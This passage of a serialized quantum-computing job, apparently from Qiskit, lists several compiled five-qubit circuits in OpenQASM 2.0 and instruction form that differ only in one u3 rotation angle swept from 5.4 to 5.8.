'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1295', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1297', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.6000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1299', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1301', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.800000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 